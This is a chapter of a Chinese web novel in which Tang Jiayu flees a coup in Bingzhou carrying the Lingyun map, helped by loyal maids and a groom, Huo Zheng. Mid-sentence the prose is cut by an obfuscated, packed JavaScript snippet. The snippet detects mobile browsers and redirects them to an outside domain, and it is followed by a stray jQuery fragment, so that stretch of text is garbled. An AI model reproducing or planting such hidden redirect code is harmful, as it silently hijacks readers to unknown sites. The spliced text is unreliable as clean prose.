云层一叠叠压下来,果然又下起了雪,天色迅速变暗,才申时就黑得看不清人影了。
魏成钧发动兵变,血洗节度使府,派亲军接手牙城,并已说动王榕帮他取得朝廷认可,看似大局已定,但考验才刚刚开始。
“那群人都是干什么吃的!两千精兵对三百人,怎么看都稳赢,为何这么久都没消息?”
“将军少安毋躁。”谋士说道,“从滹沱河谷到并州,骑马最快都需三日。算算时间,差不多明日斥候就带喜讯来了。”
“最好如此。”魏成钧语气不善,“王榕那边呢,给朝廷的表写好了吗?”
谋士有些无奈,武将多是草莽出身,哪怕李继谌已经很注重下一代的教育了,魏成钧和李昭戟依然对四书五经不屑一顾。要怎么告诉魏成钧,面圣的文书要层层流转,需斟词酌句,不是砍人头一样吩咐了就能落地。
谋士委婉道:“王少主还在润色,将军再耐心等等。”
“你们文人磨磨唧唧,就是麻烦。”魏成钧嗤声,看在自己即将成为河东节度使的份上,才勉强忍了,“待我成为节度使后,再迎娶唐嘉玉,我便能像王家一样,世代显赫,长久统治河东。大齐天命已尽,如果唐嘉玉能解开凌云图,有大齐开国皇帝的藏宝助阵,天下也迟早都是我的。”
谋士看着魏成钧,到底没敢劝什么。然而魏成钧统一天下的大梦很快就撞到了南墙,兵卒匆匆跑来禀报:“将军,不好了,后院起火了!”
魏成钧被打断,不虞眯眼:“哪个地方?”
“金狼堂。”
魏成钧脸色骤变,那不是关唐嘉玉的地方吗?他立刻起身:“调一百虎狼军进来,跟我走。”
魏成钧赶到金狼堂发现,火势看着吓人,其实只是烟大,最重要的是,火似乎是从里面烧起来的。
果不其然,唐嘉玉已不在屋里,魏成钧下令搜,没一会士兵跑来禀报。
“报,将军,这里有发现!”
魏成钧看到从墙角拖出来的守卫尸体,面色凝重,唐嘉玉那娇生惯养的性子,杀得了人?忽然,他狠狠一怔。
不好!
魏成钧快步回到铁鹞堂,打开密匣,里面的凌云图已经不见了。魏成钧目光阴鸷,能神不知鬼不觉溜入节度使府,熟悉铁鹞堂布局,并且知道凌云图密匣开关的,必是内鬼。上午唐宅逃出去两个武婢,庞诚兵败后,魏成钧见庞诚已活不成了,就没有补刀,想来是那两个武婢后面折返唐宅,庞诚还有最后一口气,将凌云图的密匣地点告知。
呵,找死。
魏成钧脸色阴沉得吓人,咬着牙道:“追。”
.
黑夜中的节度使府大得令人恐惧,魏成钧宁可错杀不肯放过,偌大的府邸被杀得空空荡荡,这才方便了唐嘉玉和斩秋、簪冬声东击西。
但魏成钧也不是蠢的,追兵很快从四面八方涌来。再这样下去就走不了了,斩秋用力将唐嘉玉推到里面,横刀拦在月洞门外,显然没打算活着离开。
“簪冬,带着娘子快走!”
唐嘉玉跑得简直要咳血,她看到斩秋为她们挡住追兵,有些无措:“斩秋?”
春夏秋冬在她七岁时就来到身边,这么多年名为奴仆,实际上和朋友差不多。虽然朋友只是唐嘉玉单方面认为,对她们而言,她只是任务而已。
但斩秋和簪冬杀了守卫,一路护着唐嘉玉逃跑,现在斩秋更是毫不犹豫舍弃自己殿后。李继谌到底给了她们什么好处,哪怕李继谌死了,都能让她们悍不畏死地执行任务?
唐嘉玉心情复杂,而簪冬果决多了,她只是朝斩秋背影扫了眼,就立马拉着唐嘉玉跑。
簪冬带着她,七拐八拐竟闯入一个佛堂。佛像慈眉善目、无悲无喜注视着风雪,簪冬掀开贡品桌,用力敲击一块地砖,灰尘簌簌落下,佛像竟移动起来,慢慢露出夹墙里的一条密道。
而士兵也追到了一墙之隔,簪冬往外看了一眼,密道开启关闭都需要时间,如果不把追兵引走,密道迟早暴露。簪冬将凌云录塞到唐嘉玉怀里,一把将她推入密道,压低声音说:“娘子,快走,这是直通城外的密道,魏党并不知道这条路。”
唐嘉玉捏紧手中据说是凌云图的画轴,问:“那你呢?”
“我去引开追兵。若我没来找你,就是我运气不济,你千万不要等我,一直往前走,出口处会有人接应你。”
“快搜,脚印就往这边去了!”
士兵已经追到了佛堂,随时可能发现她们,幸而密道入口开始自动关闭,簪冬最后看了唐嘉玉一眼,猫一样跳出佛堂,故意在另一个方向制造出动静。
外面的脚步声杂乱起来,掩盖了佛堂的动静。佛像一点点回归原位,昏暗的光线从佛陀侧脸洒入,灰尘飞舞,像徐徐关闭的生门。
唐嘉玉回头,暗道曲曲折折,仿佛没有尽头。她不禁想,出口处等着的,又是哪一方势力?
从一个牢笼到另一个牢笼,有何区别?
唐嘉玉咬牙,在佛像即将合拢的那一瞬间,纵身一跃,跳出密道。她狠狠摔在青石板地面上,痛得眼泪直流。往常唐嘉玉咳嗽一声都是天大的事,但现在,她硬是一声不吭,爬到贡品桌下,暗暗记住簪冬敲击的地方。
她将凌云图藏在衣袖里,等了一会,确定外面没有脚步声后,才蹑手蹑脚离开佛堂,往人少的地方跑。雪还在下,她不敢留下脚印,只挑不留痕的地方走,如此走走藏藏,行进十分缓慢。
唐嘉玉暗暗心急,她不知道簪冬能牵制追兵多久,一旦簪冬被捕,魏成钧发现她不在,很可能会回节度使府瓮中捉鳖,到时候再想逃跑就麻烦了。
不知是不是她急出了幻觉,她觉得自己好像来过这里。比如她隐约觉得,西边应该有个很大的马厩。
反正也没得选,唐嘉玉干脆赌自己的直觉。她奔向西跨院,竟当真看到了马厩。里面养着许多高头骏马,哪怕唐嘉玉不懂马,也看得出这些马绝非凡品。
听说李昭戟酷爱战马,每年都会去代北牧场亲自挑选坐骑,看来传言不虚,这些应当就是李昭戟的爱马了。一个马奴正背对着她给食槽加草料,唐嘉玉看了眼不远处堆草料的骡车,轻手轻脚藏到草料堆里。
魏成钧杀了李继谌所有得用的人,包括养马的奴仆,但他又舍不得杀李昭戟这些宝贝马,所以喂马的重任落到霍征这个马卒身上。霍征喂完马,继续运送草料,他走回骡车,身形微不可见顿了下,随后若无其事驾车走。
牙城内常驻精锐骑兵,有骑兵,就需要有草料。运送草料枯燥、费力又不露脸,那些眼高于顶的亲兵怎么看得上,霍征不受长官待见,长期被分配干这件苦差。
李继谌原有的一千骑兵被派去支援云州了,现在驻扎牙城的是魏成钧的虎狼营,仅有五百多人。马数变少,惯用的份量便不太准了,霍征给各马厩送了草料,还剩下许多。霍征驾着吱呀吱呀的小车,从启夏门出牙城。
唐嘉玉藏在草料里,暗暗松了口气。她猜得没错,李昭戟爱马如命,能在使院替他养马的必是心腹,魏成钧绝不会留下这些人的性命,所以她看到的马奴定是外人。车上草料高得像一座小山,哪怕节度使府骏马成群,这些草料也过于多了,所以他是一个运送草料的小卒,节度使府只是他其中一站。牙城内皆是节度使亲信,他这样的底层小兵怎么配住在牙城,多半住在外城。
她原本还担心草料万一见底,或者马卒感觉出重量不对,她就暴露了。幸而唐嘉玉的坏运气似乎用完了,她担心的情况都没有出现,她赌的每一步都对。唐嘉玉搭着便车,顺利离开牙城,进入内城。
并州乃军事重镇,高城深池,重门击柝,仅城墙就有三重。最里层是牙城,内有节度使府、衙署、武库、粮仓,重骑兵拱卫在外,是并州之核心;第二层是内城,官吏、百姓、工匠、往来商队混居在此,商铺、工坊林立,是并州之骨肉;最外层是外城,守城的步兵、弩手驻扎于此,是并州之外甲。城外,还有负责机动巡逻的轻骑兵大营。
如此周密的部署,难怪李家只用了三代人,就从草根变成了头号逆贼。唐嘉玉想到这是自己的敌人,不由深深叹气。
唐宅就座落在内城,唐嘉玉虽不常出门,对这里的街道也大致有数。唐嘉玉透过草隙,寻找机会下车。
虽然她很感谢马卒将她带出牙城,但外城只有兵营,她可不想才出龙潭又入虎穴。灯下黑最难防,魏成钧肯定想不到她就藏在内城,她先找个地方安顿下来,等风声过去就物色商队,带她去长安。
马卒将骡车停在巷口,自己走到巷子里,似乎是去方便了。天赐良机!唐嘉玉立刻爬出草垛,蹑手蹑脚往外跑。
她刚走出没几步,一阵冷风猛地从背后袭来,她以为在小巷里方便的男人无声无息出现在她身后,单手将她擒住。
唐嘉玉被捏住肩膀,霎间觉得自己骨头都要裂了。她知道自己不是男人的对手,不做无畏的挣扎,努力镇定道:“我是节度使亲信,被魏贼扣押,有要紧事须禀报少主。留下你的名字,只要你不走漏消息,待我出城,定会向少主为你请功。”
霍征站在阴影中,看着前方女子莹白生辉的脖颈:“你是使院的女管事?”
唐嘉玉含糊道:“既然知道,还不放开?”
“原来如此,冒犯了。”
霍征松开手,唐嘉玉的肩膀这才像回到她身上。她不动声色活动肩膀,还没来得及松口气,身后男人猛地发难,将她抵到墙壁上。唐嘉玉惊慌抬头,看到了男人的脸。
唐嘉玉在马厩匆匆一瞥,只记得他身形高大,没想到他长相亦不俗。浓眉大眼,鼻梁高挺,有一股扑面而来的野性。
霍征早就知道这个女子是假扮的,使院的婢女都是云雀营出来的武婢,她这一身娇嫩的皮肉,怎么可能是习武之人?但他看到唐嘉玉的脸,不禁失神了片刻。
霍征胳膊抵在她胸口,唐嘉玉用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267273|182137||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尽全力都挣不开,心里怒骂这些男人怎么一个个力气都这么大?她只能端起架子,一脸高高在上地威胁道:“我是节度使养女,已和李昭戟订婚,碍于养父病情才没有公布。他这个人醋性最是大,你最好放开我,要不然等他进城,你就死定了。”
霍征皱眉,显然被唐嘉玉复杂的身份绕晕了:“你说你是李继谌养女,还是李昭戟的未婚妻?”
“当然。”唐嘉玉眼睛都不眨地瞎编,“魏贼趁虚而入,想取李家而代之,殊不知我未婚夫已在赶来并州的路上。魏成钧是秋后的蚂蚱,蹦跶不了几天了,你现在弃暗投明还来得及。若你识趣,我就让李昭戟将你提拔为亲兵……”
唐嘉玉话没说完,身后牙城忽然火光大作,急促的马蹄声和冷硬的朔风融为一体,宛如一道惊雷笼住内城:“快搜,她跑不远!”
魏成钧发现了!唐嘉玉脸色骤变,霍征看到她表情变化,心下已明白这些人是冲她而来。霍征听着马蹄声,粗粗估略有两百人之众。如此大动干戈,唐嘉玉哪怕不是李昭戟未婚妻,身份也绝不简单。
霍征飞快往巷外看了一眼,说:“他们要过来了,快走。”
唐嘉玉看向粮草车,霍征看出了唐嘉玉的想法,冷声扎破她的侥幸:“你藏法那么拙劣,连我都瞒不住,何况这么多骑兵?别耽误,快跑。”
唐嘉玉才知道原来她一上车霍征就发现了,她能顺利出牙城,全是因为霍征有意帮她遮掩。唐嘉玉恨恨将裙子扎紧,拿出吃奶的劲往前跑,还是被霍征嫌慢。霍征扫过她飘逸美丽、裙幅宽大的八破裙,忍无可忍将她扛在肩上,带着她跑。
唐嘉玉被颠得天旋地转,霍征一路挑小巷走,然而很不幸,他刚转出暗巷,迎面和一个来撒尿的士兵撞上。
士兵看到他们,双方都是一怔,士兵立刻大喊:“他们在……”
士兵喉咙咕嘟咕嘟冒血,大睁着双眼跌倒在地,不敢相信自己竟死在一把割草刀下。然而士兵的声音已惊动了其他人,霍征赶紧带着唐嘉玉换路,还是被堵住了。
霍征一边护着唐嘉玉,一边解决追兵,但双拳难敌四手,何况霍征仅有一把锈迹斑斑的割草刀。霍征身上伤口越来越多,他用力一把推开唐嘉玉,吼道:“再往南走一条街就是城门,往前跑,别回头!”
今天一天,唐嘉玉听到最多的话就是跑,斩秋,簪冬,现在又是他,所有人都叫她跑。唐嘉玉双眼涌满泪水,脸颊蹭得脏兮兮的,早已不复曾经的养尊处优。哪怕怕得要断过气去,唐嘉玉也不敢停下脚步,她跑出一段路后忍不住回头,问:“你叫什么名字?”
唐嘉玉也不知道自己问了他的名字有什么用,她又不是真的李昭戟未婚妻,她自身都难保,哪能许别人锦绣前程?泪水模糊了她的视野,在萧萧风雪中,她亲眼看到素不相识的男人身中数刀,血流成河,但依然牢牢把守着巷口,像一堵山,将追兵阻在她的世界外。
“霍征。”他的刀卷边严重,已很难杀人了。他用力擦去嘴边的血,抡起拳头,嘶吼着冲入追兵群:“记住,我叫霍征。”
冷风像刀子一样,割得人嗓子疼。唐嘉玉不敢回头看,一边哭一边跑。她已跑到精疲力竭,抬头,终于看到了内城城墙。
门楼上金钩铁画“宣和门”三字,自由似乎近在咫尺。然而一阵马蹄声像催命的鼓点,停在了她身后。
唐嘉玉回头,看到了她最不愿意见到的脸。
魏成钧脸色阴鸷,冷笑道:“表妹,你倒是好能耐,是我小瞧你了。我本打算给你正妻之位,没想到你给脸不要脸。”
魏成钧目光骤然变得狠厉,吩咐道:“抓她回去。”
他身侧的侍从下马,左右包抄来抓她。唐嘉玉连连往后退,不断想还能怎么办。
自尽以示宁为玉碎不为瓦全?什么气节能比命重要!去向王榕求救?今夜这么大的动静,王府没有派侍卫出来,可见不会再有人出来了。向魏成钧低头,先稳住他,以后再谋机会?唐嘉玉不在乎清白,可一旦被打上魏成钧的烙印,日后魏成钧兵败,才是真正的深渊等着她。
唐嘉玉脑子里乱成一团,不知如何是好,混乱中她隐约听到了奇异的声音。唐嘉玉回头,发现不是她幻听,十来名黑衣人攀着绳索,像夜枭一样从天而降,他们借着高度优势扣动弓弩,前来抓唐嘉玉的士兵应声倒下。
漆黑的门楼中,传来缓慢沉闷、丧钟一样的开门声。
身后魏成钧阵脚大乱,军号声此起彼伏:“不好,有内应!集合,列阵!”
而唐嘉玉已经注意不到了,她呆愣地看着宣和门从内打开,一队整齐肃杀的骑兵缓缓出现在视野中。狂风呼啸,乱雪飞舞,掀开了为首之人的兜帽,露出一张俊美锋锐的少年面庞。
只是少年眼中深不见底,杀意盎然,完全破坏了那张过于漂亮的面孔,像踏着夜色而来的死神,危险又冷冽。
唐嘉玉嘴唇翕动,无意识喃喃:“李昭戟……”